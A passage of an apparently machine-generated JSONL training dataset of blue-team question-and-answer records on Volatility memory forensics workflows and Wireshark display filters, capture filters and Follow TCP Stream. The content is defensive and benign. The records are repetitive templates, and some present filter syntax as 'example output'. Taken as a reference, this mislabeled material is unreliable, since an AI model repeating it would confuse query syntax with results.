"1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038005Z", "updated_at": "2025-12-18T00:11:32.038005Z"} +{"id": "trtp-9c3b527f7c63", "instruction": "What best practices should I follow when using Memory Forensics?", "output": "Tips for using Memory Forensics:\n\n- Work methodically\n- Document everything\n- Hash important artifacts\n- Maintain chain of custody\n\nUseful for: Structured analysis, Incident response, Forensic investigation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038027Z", "updated_at": "2025-12-18T00:11:32.038027Z"} +{"id": "trtp-3bc2f01460a8", "instruction": "How can Memory Forensics help identify malicious activity?", "output": "Using Memory Forensics for threat detection:\n\nStandard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.\n\nExample:\n```\n# Standard analysis workflow:\n1. Acquire memory (winpmem, LiME)\n2. Verify image (vol -f memory.dmp banners.Banners)\n3. List processes (windows.pslist, windows.psscan)\n4. Check command lines (windows.cmdline)\n5. Detect injection (windows.malfind)\n6. Analyze network (windows.netscan)\n7. Check registry (windows.registry.printkey)\n8. Dump artifacts (windows.dumpfiles)\n9. Correlate and report findings\n```\n\nTips:\n- Work methodically\n- Document everything", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038040Z", "updated_at": "2025-12-18T00:11:32.038040Z"} +{"id": "trtp-ecd32730d54a", "instruction": "How do I use Memory Forensics for forensic analysis?", "output": "Forensic analysis with Memory Forensics:\n\nStandard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.\n\nForensic applications:\n- Structured analysis\n- Incident response\n- Forensic investigation\n\nWhat to look for: Each step builds on previous - document findings throughout", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038070Z", "updated_at": "2025-12-18T00:11:32.038070Z"} +{"id": "trtp-5c7c0c8ad680", "instruction": "How do I incorporate Memory Forensics into my security workflow?", "output": "Workflow for Memory Forensics Workflow:\n\n1. Understand the context: Standard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.\n\n2. Apply the tool:\n```\n# Standard analysis workflow:\n1. Acquire memory (winpmem, LiME)\n2. Verify image (vol -f memory.dmp banners.Banners)\n3. List processes (windows.pslist, windows.psscan)\n4. Check command lines (windows.cmdline)\n5. Detect injection (windows.malfind)\n6. Analyze network (windows.netscan)\n7. Check registry (windows.registry.printkey)\n8. Dump artifacts (windows.dumpfiles)\n9. Correlate and report findings\n```\n\n3. Common scenarios: Structured analysis, Incident response, Forensic investigation\n\n4. Best practices:\n - Work methodically\n - Document everything", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038084Z", "updated_at": "2025-12-18T00:11:32.038084Z"} +{"id": "trtp-b229a7f0d560", "instruction": "What makes Memory Forensics useful for this task?", "output": "Advantages of Memory Forensics:\n\nStandard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.\n\nBest suited for:\n- Structured analysis\n- Incident response\n- Forensic investigation\n- Training\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038109Z", "updated_at": "2025-12-18T00:11:32.038109Z"} +{"id": "trtp-bd7dc5de9abf", "instruction": "How does Memory Forensics integrate with other security tools?", "output": "Integration points for Memory Forensics:\n\nStandard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038144Z", "updated_at": "2025-12-18T00:11:32.038144Z"} +{"id": "trtp-bf76698e6fcf", "instruction": "What do I need to know about Wireshark?", "output": "Wireshark Display Filters\n\nDisplay filters filter packets after capture based on protocol fields, addresses, ports, and content. Applied in the filter bar to show only matching packets.\n\nPlatform: cross-platform\n\nCommon uses:\n- Focus analysis\n- Find specific traffic\n- Isolate conversations\n- Hunt for indicators", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038449Z", "updated_at": "2025-12-18T00:11:32.038449Z"} +{"id": "trtp-84359c04b457", "instruction": "Show me the basic syntax for Wireshark.", "output": "Syntax for Wireshark:\n\nfield operator value\n\nDisplay filters filter packets after capture based on protocol fields, addresses, ports, and content. Applied in the filter bar to show only matching packets.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038468Z", "updated_at": "2025-12-18T00:11:32.038468Z"} +{"id": "trtp-7ce44ce823fe", "instruction": "Give me a practical example of Wireshark.", "output": "Example of Wireshark Display Filters:\n\n```\n# Filter by IP\nip.addr == 192.168.1.100\n\n# Filter by port\ntcp.port == 443\n\n# Filter by protocol\nhttp || dns\n\n# Filter HTTP with specific content\nhttp contains \"password\"\n\n# Combine filters\nip.src == 10.0.0.5 && tcp.dstport == 80\n```\n\nInterpretation: Only matching packets displayed - status bar shows filtered count", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038489Z", "updated_at": "2025-12-18T00:11:32.038489Z"} +{"id": "trtp-7cad6ee72d84", "instruction": "Show me an example of Wireshark in action.", "output": "Here is a practical example of Wireshark:\n\n```\n# Filter by IP\nip.addr == 192.168.1.100\n\n# Filter by port\ntcp.port == 443\n\n# Filter by protocol\nhttp || dns\n\n# Filter HTTP with specific content\nhttp contains \"password\"\n\n# Combine filters\nip.src == 10.0.0.5 && tcp.dstport == 80\n```\n\nDisplay filters filter packets after capture based on protocol fields, addresses, ports, and content. Applied in the filter bar to show only matching packets.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038508Z", "updated_at": "2025-12-18T00:11:32.038508Z"} +{"id": "trtp-f4672eb3fba7", "instruction": "When should I use Wireshark?", "output": "Use cases for Wireshark:\n\n- Focus analysis\n- Find specific traffic\n- Isolate conversations\n- Hunt for indicators\n\nDisplay filters filter packets after capture based on protocol fields, addresses, ports, and content. Applied in the filter bar to show only matching packets.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038519Z", "updated_at": "2025-12-18T00:11:32.038519Z"} +{"id": "trtp-83f130a9b1a0", "instruction": "What do the results from Wireshark mean?", "output": "Interpreting Wireshark output:\n\nOnly matching packets displayed - status bar shows filtered count\n\nExample output:\n```\n# Filter by IP\nip.addr == 192.168.1.100\n\n# Filter by port\ntcp.port == 443\n\n# Filter by protocol\nhttp || dns\n\n# Filter HTTP with specific content\nhttp contains \"password\"\n\n# Combine filters\nip.src == 10.0.0.5 && tcp.dstport == 80\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038530Z", "updated_at": "2025-12-18T00:11:32.038530Z"} +{"id": "trtp-845cea6c28e2", "instruction": "What best practices should I follow when using Wireshark?", "output": "Tips for using Wireshark:\n\n- Use Analyze > Display Filter Expression for help\n- Save common filters as buttons\n- Case-sensitive by default\n\nUseful for: Focus analysis, Find specific traffic, Isolate conversations", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038547Z", "updated_at": "2025-12-18T00:11:32.038547Z"} +{"id": "trtp-059fc6d0cc07", "instruction": "What should I look for when using Wireshark for incident response?", "output": "Using Wireshark for threat detection:\n\nDisplay filters filter packets after capture based on protocol fields, addresses, ports, and content. Applied in the filter bar to show only matching packets.\n\nExample:\n```\n# Filter by IP\nip.addr == 192.168.1.100\n\n# Filter by port\ntcp.port == 443\n\n# Filter by protocol\nhttp || dns\n\n# Filter HTTP with specific content\nhttp contains \"password\"\n\n# Combine filters\nip.src == 10.0.0.5 && tcp.dstport == 80\n```\n\nTips:\n- Use Analyze > Display Filter Expression for help\n- Save common filters as buttons", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038560Z", "updated_at": "2025-12-18T00:11:32.038560Z"} +{"id": "trtp-e49e9bd24bb3", "instruction": "What is the typical workflow for using Wireshark?", "output": "Workflow for Wireshark Display Filters:\n\n1. Understand the context: Display filters filter packets after capture based on protocol fields, addresses, ports, and content. Applied in the filter bar to show only matching packets.\n\n2. Apply the tool:\n```\n# Filter by IP\nip.addr == 192.168.1.100\n\n# Filter by port\ntcp.port == 443\n\n# Filter by protocol\nhttp || dns\n\n# Filter HTTP with specific content\nhttp contains \"password\"\n\n# Combine filters\nip.src == 10.0.0.5 && tcp.dstport == 80\n```\n\n3. Common scenarios: Focus analysis, Find specific traffic, Isolate conversations\n\n4. Best practices:\n - Use Analyze > Display Filter Expression for help\n - Save common filters as buttons", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038588Z", "updated_at": "2025-12-18T00:11:32.038588Z"} +{"id": "trtp-03e28b07bb93", "instruction": "What are the advantages of Wireshark for security analysis?", "output": "Advantages of Wireshark:\n\nDisplay filters filter packets after capture based on protocol fields, addresses, ports, and content. Applied in the filter bar to show only matching packets.\n\nBest suited for:\n- Focus analysis\n- Find specific traffic\n- Isolate conversations\n- Hunt for indicators\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038619Z", "updated_at": "2025-12-18T00:11:32.038619Z"} +{"id": "trtp-b9969d59b485", "instruction": "How does Wireshark integrate with other security tools?", "output": "Integration points for Wireshark:\n\nDisplay filters filter packets after capture based on protocol fields, addresses, ports, and content. Applied in the filter bar to show only matching packets.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-display-filters", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038420Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038640Z", "updated_at": "2025-12-18T00:11:32.038640Z"} +{"id": "trtp-88b1b3fa10b6", "instruction": "What do I need to know about Wireshark?", "output": "Wireshark Capture Filters (BPF)\n\nCapture filters use BPF (Berkeley Packet Filter) syntax to filter packets during capture. More efficient than display filters as packets are discarded before storage.\n\nPlatform: cross-platform\n\nCommon uses:\n- Reduce capture size\n- Focus on target traffic\n- High-speed captures\n- Long-term monitoring", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038962Z", "updated_at": "2025-12-18T00:11:32.038962Z"} +{"id": "trtp-24b9e3a2b287", "instruction": "What command or query syntax does Wireshark use?", "output": "Syntax for Wireshark:\n\nprimitive [direction] [type] [value]\n\nCapture filters use BPF (Berkeley Packet Filter) syntax to filter packets during capture. More efficient than display filters as packets are discarded before storage.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038986Z", "updated_at": "2025-12-18T00:11:32.038986Z"} +{"id": "trtp-6038c26b83ea", "instruction": "Give me a practical example of Wireshark.", "output": "Example of Wireshark Capture Filters (BPF):\n\n```\n# Capture only specific host\nhost 192.168.1.100\n\n# Capture specific port\nport 443\n\n# Capture specific network\nnet 10.0.0.0/24\n\n# Exclude traffic\nnot port 22\n\n# Complex filter\ntcp and port 80 and host 10.0.0.5\n```\n\nInterpretation: Only matching packets captured to file", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.038998Z", "updated_at": "2025-12-18T00:11:32.038998Z"} +{"id": "trtp-93390880d495", "instruction": "Give me a practical example of Wireshark.", "output": "Here is a practical example of Wireshark:\n\n```\n# Capture only specific host\nhost 192.168.1.100\n\n# Capture specific port\nport 443\n\n# Capture specific network\nnet 10.0.0.0/24\n\n# Exclude traffic\nnot port 22\n\n# Complex filter\ntcp and port 80 and host 10.0.0.5\n```\n\nCapture filters use BPF (Berkeley Packet Filter) syntax to filter packets during capture. More efficient than display filters as packets are discarded before storage.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039028Z", "updated_at": "2025-12-18T00:11:32.039028Z"} +{"id": "trtp-e430618c9ad3", "instruction": "What security tasks can I accomplish with Wireshark?", "output": "Use cases for Wireshark:\n\n- Reduce capture size\n- Focus on target traffic\n- High-speed captures\n- Long-term monitoring\n\nCapture filters use BPF (Berkeley Packet Filter) syntax to filter packets during capture. More efficient than display filters as packets are discarded before storage.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039039Z", "updated_at": "2025-12-18T00:11:32.039039Z"} +{"id": "trtp-92b11a1199f6", "instruction": "Explain the output of Wireshark.", "output": "Interpreting Wireshark output:\n\nOnly matching packets captured to file\n\nExample output:\n```\n# Capture only specific host\nhost 192.168.1.100\n\n# Capture specific port\nport 443\n\n# Capture specific network\nnet 10.0.0.0/24\n\n# Exclude traffic\nnot port 22\n\n# Complex filter\ntcp and port 80 and host 10.0.0.5\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039056Z", "updated_at": "2025-12-18T00:11:32.039056Z"} +{"id": "trtp-f1717e95b0be", "instruction": "What are common tips for Wireshark?", "output": "Tips for using Wireshark:\n\n- Use for high-volume captures\n- Syntax differs from display filters\n- Test with tcpdump first\n\nUseful for: Reduce capture size, Focus on target traffic, High-speed captures", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039067Z", "updated_at": "2025-12-18T00:11:32.039067Z"} +{"id": "trtp-df7945c24fbb", "instruction": "How can Wireshark help identify malicious activity?", "output": "Using Wireshark for threat detection:\n\nCapture filters use BPF (Berkeley Packet Filter) syntax to filter packets during capture. More efficient than display filters as packets are discarded before storage.\n\nExample:\n```\n# Capture only specific host\nhost 192.168.1.100\n\n# Capture specific port\nport 443\n\n# Capture specific network\nnet 10.0.0.0/24\n\n# Exclude traffic\nnot port 22\n\n# Complex filter\ntcp and port 80 and host 10.0.0.5\n```\n\nTips:\n- Use for high-volume captures\n- Syntax differs from display filters", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039090Z", "updated_at": "2025-12-18T00:11:32.039090Z"} +{"id": "trtp-3267e1c870db", "instruction": "What's the process for analyzing data with Wireshark?", "output": "Workflow for Wireshark Capture Filters (BPF):\n\n1. Understand the context: Capture filters use BPF (Berkeley Packet Filter) syntax to filter packets during capture. More efficient than display filters as packets are discarded before storage.\n\n2. Apply the tool:\n```\n# Capture only specific host\nhost 192.168.1.100\n\n# Capture specific port\nport 443\n\n# Capture specific network\nnet 10.0.0.0/24\n\n# Exclude traffic\nnot port 22\n\n# Complex filter\ntcp and port 80 and host 10.0.0.5\n```\n\n3. Common scenarios: Reduce capture size, Focus on target traffic, High-speed captures\n\n4. Best practices:\n - Use for high-volume captures\n - Syntax differs from display filters", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039105Z", "updated_at": "2025-12-18T00:11:32.039105Z"} +{"id": "trtp-fb2d1d0c927c", "instruction": "When should I use Wireshark versus other similar tools?", "output": "Advantages of Wireshark:\n\nCapture filters use BPF (Berkeley Packet Filter) syntax to filter packets during capture. More efficient than display filters as packets are discarded before storage.\n\nBest suited for:\n- Reduce capture size\n- Focus on target traffic\n- High-speed captures\n- Long-term monitoring\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039132Z", "updated_at": "2025-12-18T00:11:32.039132Z"} +{"id": "trtp-355948b0e2eb", "instruction": "How do I use Wireshark alongside other tools in my toolkit?", "output": "Integration points for Wireshark:\n\nCapture filters use BPF (Berkeley Packet Filter) syntax to filter packets during capture. More efficient than display filters as packets are discarded before storage.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-capture-filters-bpf", "license": "original", "retrieved_at": "2025-12-18T00:11:32.038935Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039146Z", "updated_at": "2025-12-18T00:11:32.039146Z"} +{"id": "trtp-39a835cf9595", "instruction": "Explain Wireshark for security professionals.", "output": "Follow TCP Stream\n\nFollow TCP Stream reconstructs the application-layer conversation from TCP packets. Shows complete request/response data in readable format.\n\nPlatform: cross-platform\n\nCommon uses:\n- Analyze HTTP requests\n- Extract transferred data\n- View protocol exchanges\n- Find exfiltrated data", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039415Z", "updated_at": "2025-12-18T00:11:32.039415Z"} +{"id": "trtp-5509af1fb63c", "instruction": "Show me the basic syntax for Wireshark.", "output": "Syntax for Wireshark:\n\nRight-click > Follow > TCP Stream\n\nFollow TCP Stream reconstructs the application-layer conversation from TCP packets. Shows complete request/response data in readable format.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039446Z", "updated_at": "2025-12-18T00:11:32.039446Z"} +{"id": "trtp-d32de52270a2", "instruction": "How would I use Wireshark for Analyze HTTP requests?", "output": "Example of Follow TCP Stream:\n\n```\n# Steps:\n1. Select any packet in a TCP conversation\n2. Right-click > Follow > TCP Stream\n3. View reconstructed data\n4. Filter shows: tcp.stream eq N\n\n# View options:\n- ASCII for text protocols\n- Raw for binary\n- UTF-8 for web content\n```\n\nInterpretation: Red = client to server, Blue = server to client", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039463Z", "updated_at": "2025-12-18T00:11:32.039463Z"} +{"id": "trtp-0d114b11b160", "instruction": "Provide an example of using Wireshark.", "output": "Here is a practical example of Wireshark:\n\n```\n# Steps:\n1. Select any packet in a TCP conversation\n2. Right-click > Follow > TCP Stream\n3. View reconstructed data\n4. Filter shows: tcp.stream eq N\n\n# View options:\n- ASCII for text protocols\n- Raw for binary\n- UTF-8 for web content\n```\n\nFollow TCP Stream reconstructs the application-layer conversation from TCP packets. Shows complete request/response data in readable format.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039481Z", "updated_at": "2025-12-18T00:11:32.039481Z"} +{"id": "trtp-f4c19ace96b6", "instruction": "When should I use Wireshark?", "output": "Use cases for Wireshark:\n\n- Analyze HTTP requests\n- Extract transferred data\n- View protocol exchanges\n- Find exfiltrated data\n\nFollow TCP Stream reconstructs the application-layer conversation from TCP packets. Shows complete request/response data in readable format.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039503Z", "updated_at": "2025-12-18T00:11:32.039503Z"} +{"id": "trtp-0f2ff3e58a88", "instruction": "Explain the output of Wireshark.", "output": "Interpreting Wireshark output:\n\nRed = client to server, Blue = server to client\n\nExample output:\n```\n# Steps:\n1. Select any packet in a TCP conversation\n2. Right-click > Follow > TCP Stream\n3. View reconstructed data\n4. Filter shows: tcp.stream eq N\n\n# View options:\n- ASCII for text protocols\n- Raw for binary\n- UTF-8 for web content\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039513Z", "updated_at": "2025-12-18T00:11:32.039513Z"} +{"id": "trtp-0d019058cb74", "instruction": "What are common tips for Wireshark?", "output": "Tips for using Wireshark:\n\n- Use for HTTP, SMTP, FTP analysis\n- Export data for offline analysis\n- Check for cleartext credentials\n\nUseful for: Analyze HTTP requests, Extract transferred data, View protocol exchanges", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039544Z", "updated_at": "2025-12-18T00:11:32.039544Z"} +{"id": "trtp-10d5ede49a5d", "instruction": "How do I use Wireshark for threat detection?", "output": "Using Wireshark for threat detection:\n\nFollow TCP Stream reconstructs the application-layer conversation from TCP packets. Shows complete request/response data in readable format.\n\nExample:\n```\n# 